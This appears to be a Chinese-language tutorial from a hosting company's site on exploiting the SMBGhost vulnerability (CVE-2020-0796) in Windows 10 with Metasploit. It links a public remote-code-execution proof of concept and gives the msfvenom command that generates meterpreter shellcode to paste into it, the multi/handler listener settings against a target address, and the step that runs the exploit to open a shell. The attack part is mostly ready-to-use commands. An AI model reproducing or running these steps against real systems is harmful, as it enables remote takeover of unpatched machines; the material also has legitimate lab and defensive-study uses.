您好，登录后才能下订单哦！
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
本篇文章为大家展示了如何进行Metasploit中的CVE-2020-0796的漏洞分析，内容简明扼要并且容易理解，绝对能使你眼前一亮，通过这篇文章的详细介绍希望你能有所收获。
一、漏洞描述：
该漏洞是由SMBv3处理恶意制作的压缩数据包，未经认证攻击者可能利用此漏洞执行任意代码。
二、测试环境及工具：
windows10 1903 64位下载：
ed2k://|file|cn_windows_10_consumer_editions_version_1903_x64_dvd_8f05241d.iso|4905476096|F28FDC23DA34D55BA466BFD6E91DD311|/
CVE-2020-0796 "poc"下载：
https://github.com/chompie1337/SMBGhost_RCE_PoC
三、漏洞利用
1、生成反向连接木马：
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -b '\x00' -i 1 -f python
2、替换POC，将上面生成的代码替换原文中的代码
3、启动Metasploit监听
use exploit/multi/handlerset payload windows/x64/meterpreter/bind_tcpset lport 4444 //监听端口set rhost 192.168.1.143 //目标主机run
3、运行poc，自动建立连接
上述内容就是如何进行Metasploit中的CVE-2020-0796的漏洞分析，你们学到知识或技能了吗？如果还想学到更多技能或者丰富自己的知识储备，欢迎关注亿速云行业资讯频道。
免责声明：本站发布的内容（图片、视频和文字）以原创、转载和分享为主，文章观点不代表本网站立场，如果涉及侵权请联系站长邮箱：is@yisu.com进行举报，并提供相关证据，一经查实，将立刻删除涉嫌侵权内容。